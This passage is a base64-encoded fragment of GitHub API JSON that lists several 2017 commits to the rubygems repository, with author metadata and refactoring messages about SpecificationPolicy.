XJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMTE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL29sbGVvbGxlb2xsZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6Im9sbGVvbGxlb2xsZSIsImlkIjoyMTEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIxMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vb2xsZW9sbGVvbGxlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiYzIwYTQ5MTllMDEyMzA3YmU1MDcwMGE0YzNiN2ZlZjAxODQwYmM0YiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jMjBhNDkxOWUwMTIzMDdiZTUwNzAwYTRjM2I3ZmVmMDE4NDBiYzRiIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2MyMGE0OTE5ZTAxMjMwN2JlNTA3MDBhNGMzYjdmZWYwMTg0MGJjNGIifV19LHsic2hhIjoiYzIwYTQ5MTllMDEyMzA3YmU1MDcwMGE0YzNiN2ZlZjAxODQwYmM0YiIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6Ik9sbGUgSm9uc3NvbiIsImVtYWlsIjoib2xsZS5qb25zc29uQGdtYWlsLmNvbSIsImRhdGUiOiIyMDE3LTExLTI3VDIxOjA1OjQ1WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6Ik9sbGUgSm9uc3NvbiIsImVtYWlsIjoib2xsZS5qb25zc29uQGdtYWlsLmNvbSIsImRhdGUiOiIyMDE3LTExLTI3VDIxOjA1OjQ1WiJ9LCJtZXNzYWdlIjoiU3BlY2lmaWNhdGlvblBvbGljeTogZXh0cmFjdCBsb2NhbCBtZXRob2RzIiwidHJlZSI6eyJzaGEiOiI5NmFlYTE3OTQyNzE2ZjQ1YzdiYmJjZTEwN2Q3YzcyNTk2OWNiM2UyIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvOTZhZWExNzk0MjcxNmY0NWM3YmJiY2UxMDdkN2M3MjU5NjljYjNlMiJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2MyMGE0OTE5ZTAxMjMwN2JlNTA3MDBhNGMzYjdmZWYwMTg0MGJjNGIiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYzIwYTQ5MTllMDEyMzA3YmU1MDcwMGE0YzNiN2ZlZjAxODQwYmM0YiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9jMjBhNDkxOWUwMTIzMDdiZTUwNzAwYTRjM2I3ZmVmMDE4NDBiYzRiIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2MyMGE0OTE5ZTAxMjMwN2JlNTA3MDBhNGMzYjdmZWYwMTg0MGJjNGIvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJvbGxlb2xsZW9sbGUiLCJpZCI6MjExLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMTE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL29sbGVvbGxlb2xsZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6Im9sbGVvbGxlb2xsZSIsImlkIjoyMTEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIxMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vb2xsZW9sbGVvbGxlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZmViYmJkNmYwOWFjNmQ2ZjU1MWY4N2RmNWNjNWFmOTNkNGFiNDJlNyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9mZWJiYmQ2ZjA5YWM2ZDZmNTUxZjg3ZGY1Y2M1YWY5M2Q0YWI0MmU3IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2ZlYmJiZDZmMDlhYzZkNmY1NTFmODdkZjVjYzVhZjkzZDRhYjQyZTcifV19LHsic2hhIjoiZmViYmJkNmYwOWFjNmQ2ZjU1MWY4N2RmNWNjNWFmOTNkNGFiNDJlNyIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6Ik9sbGUgSm9uc3NvbiIsImVtYWlsIjoib2xsZS5qb25zc29uQGdtYWlsLmNvbSIsImRhdGUiOiIyMDE3LTExLTI3VDIwOjU5OjE3WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6Ik9sbGUgSm9uc3NvbiIsImVtYWlsIjoib2xsZS5qb25zc29uQGdtYWlsLmNvbSIsImRhdGUiOiIyMDE3LTExLTI3VDIwOjU5OjE3WiJ9LCJtZXNzYWdlIjoiU3BlY2lmaWNhdGlvblBvbGljeTogVXNlIGVhcmx5IHJldHVybnMiLCJ0cmVlIjp7InNoYSI6ImYyNmQzNjg1ODQzYjliZmRiNzM0YjJjMjU4MTExNTVkMGViYTM3OTAiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9mMjZkMzY4NTg0M2I5YmZkYjczNGIyYzI1ODExMTU1ZDBlYmEzNzkwIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZmViYmJkNmYwOWFjNmQ2ZjU1MWY4N2RmNWNjNWFmOTNkNGFiNDJlNyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9mZWJiYmQ2ZjA5YWM2ZDZmNTUxZjg3ZGY1Y2M1YWY5M2Q0YWI0MmU3IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2ZlYmJiZDZmMDlhYzZkNmY1NTFmODdkZjVjYzVhZjkzZDRhYjQyZTciLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZmViYmJkNmYwOWFjNmQ2ZjU1MWY4N2RmNWNjNWFmOTNkNGFiNDJlNy9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6Im9sbGVvbGxlb2xsZSIsImlkIjoyMTEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIxMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vb2xsZW9sbGVvbGxlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoib2xsZW9sbGVvbGxlIiwiaWQiOjIxMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjExP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9vbGxlb2xsZW9sbGUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI2MzQyOGFiNjA2NDQ3NGY1YjdkZTlmNGJkMGU4OTY4NDY3YTA3MDMxIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYzNDI4YWI2MDY0NDc0ZjViN2RlOWY0YmQwZTg5Njg0NjdhMDcwMzEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjM0MjhhYjYwNjQ0NzRmNWI3ZGU5ZjRiZDBlODk2ODQ2N2EwNzAzMSJ9XX0seyJzaGEiOiI2MzQyOGFiNjA2NDQ3NGY1YjdkZTlmNGJkMGU4OTY4NDY3YTA3MDMxIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiT2xsZSBKb25zc29uIiwiZW1haWwiOiJvbGxlLmpvbnNzb25AZ21haWwuY29tIiwiZGF0ZSI6IjIwMTctMTEtMjdUMjA6NTA6NDVaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiT2xsZSBKb25zc29uIiwiZW1haWwiOiJvbGxlLmpvbnNzb25AZ21haWwuY29tIiwiZGF0ZSI6IjIwMTctMTEtMjdUMjA6NTA6NDVaIn0sIm1lc3NhZ2UiOiJTcGVjaWZpY2F0aW9uUG9saWN5OiBVc2UgY2xhc3MgbmFtZSBpbnN0ZWFkIG9mIF9fZ2V0b2JqX18uY2xhc3MiLCJ0cmVlIjp7InNoYSI6IjI2OGQyYTQzNWMxNzQ5NmQyY2VmYjc3NGEzNjllN2FjOTNmNWJjMDUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8yNjhkMmE0MzVjMTc0OTZkMmNlZmI3NzRhMzY5ZTdhYzkzZjViYzA1In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNjM0MjhhYjYwNjQ0NzRmNWI3ZGU5ZjRiZDBlODk2ODQ2N2EwNzAzMSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82MzQyOGFiNjA2NDQ3NGY1YjdkZTlmNGJkMGU4OTY4NDY3YTA3MDMxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzYzNDI4YWI2MDY0NDc0ZjViN2RlOWY0YmQwZTg5Njg0NjdhMDcwMzEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjM0MjhhYjYwNjQ0NzRmNWI3ZGU5ZjRiZDBlODk2ODQ2N2EwNzAzMS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6Im9sbGVvbGxlb2xsZSIsImlkIjoyMTEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIxMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vb2xsZW9sbGVvbGxlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoib2xsZW9sbGVvbGxlIiwiaWQiOjIxMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjExP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9vbGxlb2xsZW9sbGUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI3MTQ3MzI3NzViNjNmNGM1NDI4OWExMTIwMDFlNDE0YWE3ZmU1ZmEwIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzcxNDczMjc3NWI2M2Y0YzU0Mjg5YTExMjAwMWU0MTRhYTdmZTVmYTAiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNzE0NzMyNzc1YjYzZjRjNTQyODlhMTEyMDAxZTQxNGFhN2ZlNWZhMCJ9XX0seyJzaGEiOiI3MTQ3MzI3NzViNjNmNGM1NDI4OWExMTIwMDFlNDE0YWE3ZmU1ZmEwIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiT2xsZSBKb25zc29uIiwiZW1haWwiOiJvbGxlLmpvbnNzb25AZ21haWwuY29tIiwiZGF0ZSI6IjIwMTctMTEtMjdUMjA6NDU6MDlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiT2xsZSBKb25zc29uIiwiZW1haWwiOiJvbGxlLmpvbnNzb25AZ21haWwuY29tIiwiZGF0ZSI6IjIwMTctMTEtMjdUMjA6NDU6NDFaIn0sIm1lc3NhZ2UiOiJTcGVjaWZpY2F0aW9uUG9saWN